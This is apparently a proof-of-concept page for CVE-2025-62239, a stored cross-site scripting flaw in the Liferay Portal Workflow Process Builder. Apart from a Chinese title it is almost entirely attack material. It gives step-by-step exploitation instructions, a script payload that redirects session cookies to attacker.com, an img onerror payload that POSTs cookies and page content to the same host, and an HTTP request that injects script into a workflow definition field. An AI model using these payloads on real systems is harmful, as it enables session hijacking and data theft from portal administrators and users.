CVE-2025-62239 Liferay Portal工作流构建器XSS漏洞

<!-- CVE-2025-62239 - Liferay Workflow Process Builder Stored XSS PoC --> <!-- Attacker injects malicious script via workflow definition fields --> <!-- Step 1: Authenticate to Liferay Portal as a low-privilege user --> <!-- Step 2: Navigate to Workflow Process Builder --> <!-- Step 3: Create or edit a workflow definition with malicious payload --> <!-- Example malicious payload injected into workflow definition name/description/script field: --> <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Alternative payload using event handler: --> <img src=x onerror="fetch('https://attacker.com/exfil',{method:'POST',body:JSON.stringify({cookies:document.cookie,dom:document.body.innerHTML})})"> <!-- Step 4: When another user (e.g., admin) views/interacts with the workflow --> <!-- The stored XSS payload executes in the victim's browser context --> <!-- Attacker can steal session cookies, perform actions as the victim, etc. --> <!-- HTTP Request Example (simplified): --> <!-- POST /group/control_panel/manage/-/workflow/edit-workflow-definition HTTP/1.1 --> <!-- Host: target-liferay-instance.com --> <!-- Content-Type: application/x-www-form-urlencoded --> <!-- Cookie: JSESSIONID=attacker_session --> <!-- --> <!-- _workflow_definition_name=<script>alert(document.cookie)</script>&... -->